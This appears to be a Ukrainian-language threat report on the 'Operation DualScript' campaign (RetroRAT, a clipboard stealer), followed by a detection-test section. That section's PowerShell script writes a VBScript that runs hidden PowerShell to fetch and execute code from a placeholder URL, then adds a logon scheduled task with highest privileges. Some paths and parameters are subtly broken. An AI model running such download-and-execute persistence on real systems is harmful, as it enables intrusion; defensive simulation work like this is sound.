Операція DualScript: багатоступеневе PowerShell шкідливе програмне забезпечення націлене на криптовалюту та фінанси

Резюме

Звіт описує Операцію DualScript, багатоступеневу кампанію шкідливого програмного забезпечення, яка покладається на збереження завдань за розкладом, VBScript-ланчери та PowerShell-лоадери для розгортання як викрадача буферу обміну, так і трояна віддаленого доступу RetroRAT. Зловмисники зберігають шкідливий PowerShell на зовнішніх серверах і виконують його повністю в пам’яті, щоб зменшити можливості виявлення. RetroRAT записує натискання клавіш, контролює активні вікна на фінансові ключові слова і відправляє викрадені дані через спеціальний TCP C2 канал. Кампанія спрямована на активність з криптовалютою та цільові банки США.

Дослідження

Аналітики виявили заплановані завдання, налаштовані на запуск файлів VBScript з шляхів, доступних для запису користувачами, які потім виконували прихований PowerShell з увімкненою можливістю обходу політики виконання. Було ідентифіковано два паралельні ланцюги доставки: один завантажував сценарій Wallet.txt для викрадення вмісту буфера обміну криптовалюти, а інший завантажував RetroRAT безпосередньо в пам’ять. Статичний аналіз також виявив логіку протидії аналізу, створення мутекса, багатопоточний кейлогінг і хардкодовий рядок рукопотиска C2.

Мітигація

Захисники повинні контролювати підозрілі заплановані завдання, які викликають VBScript або PowerShell з прихованими вікнами та аргументами обходу. Виявлення на кінцевих точках має бути зосереджено на виконанні PowerShell в пам’яті, незвичній поведінці моніторингу буфера обміну та створенні невідомих мутексів. Організації також повинні блокувати вихідний трафік до шкідливих доменів і застосовувати суворий контроль виконання до PowerShell і VBScript.

Реагування

Якщо ця активність виявлена, відключіть уражений хост, вимкніть шкідливі заплановані завдання та видаліть будь-які збережені артефакти VBScript або PowerShell. Проведіть повну судово-медичну перевірку для RetroRAT, захоплених даних з клавіатури та пов’язаного трафіку C2. Скиньте інформацію про гаманці криптовалюти, що були піддані загрозам і змініть банківські облікові дані. Відновіть уражені системи з чистих резервних копій та заблокуйте виявлені домени та IP-адреси на рівні мережі.

Виконання Симуляції

Передумова: Передпольотна перевірка Телеметрії та Базових даних повинна бути пройдена.

Обґрунтування: Цей розділ детально описує точне виконання техніки противника (ТТП), розробленої для запуску правила виявлення. Команди та наратив МАЮТЬ безпосередньо відображати виявлене ТТП і мають на меті генерувати точну телеметрію, очікувану логікою виявлення.

• Нарратив атаки та команди:
  Спочатку атакувач розміщує VBScript (dual.vbs) в каталозі профілю користувача. Скріпт має на меті запустити PowerShell з параметрами -WindowStyle Hidden and -ExecutionPolicy Bypass, потім завантажити і виконати віддалене навантаження (імітується простим Write-Host). Щоб забезпечити стійкість, атакувач реєструє завдання за розкладом (DualScriptPersist), яке запускає VBScript при вході в систему. Кожен крок створює два пов’язаних запису EventID 4104, які шукає правило.

• Сценарій регресійного тестування:

  # -------------------------------------------------
  # Симуляція атаки DualScript - PowerShell
  # -------------------------------------------------
  # 1️⃣ Створити шкідливий VBScript у доступному для запису шляху користувача
  $vbsPath = "$env:USERPROFILEdual.vbs"
  $payloadUrl = "http://example.com/payload.ps1"   # заповнювач URL
  $vbsContent = @"
  WScript.Sleep 500
  Dim sh
  Set sh = CreateObject("WScript.Shell")
  sh.Run "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command `"IEX (New-Object Net.WebClient).DownloadString('$payloadUrl')`""
  "@
  $vbsContent | Set-Content -Path $vbsPath -Coding ASCII
  
  # 2️⃣ Зареєструвати завдання за розкладом, що запускає VBScript при кожному вході користувача в систему
  $taskName = "DualScriptPersist"
  $taskAction = "`"$vbsPath`""
  schtasks.exe /Create `
      /SC ONLOGON `
      /RL HIGHEST `
      /TN $taskName `
      /TR $taskAction `
      /F
  
  # 3️⃣ Змусити завдання негайно виконатися (тригерувати виявлення)
  schtasks.exe /Run /TN $taskName
  
  Write-Host "`n[+] Виконано симуляцію DualScript. Перевірте ваш SIEM на наявність попереджень."
  # -------------------------------------------------

• Команди очищення:

  # -------------------------------------------------
  # Очищення після симуляції DualScript
  # -------------------------------------------------
  $taskName = "DualScriptPersist"
  $vbsPath  = "$env:USERPROFILEdual.vbs"
  
  # Видалити заплановане завдання
  schtasks.exe /Delete /TN $taskName /F
  
  # Видалити файл VBScript
  Remove-Item -Path $vbsPath -Force -ErrorAction SilentlyContinue
  
  Write-Host "`n[+] Очищення завершено."
  # -------------------------------------------------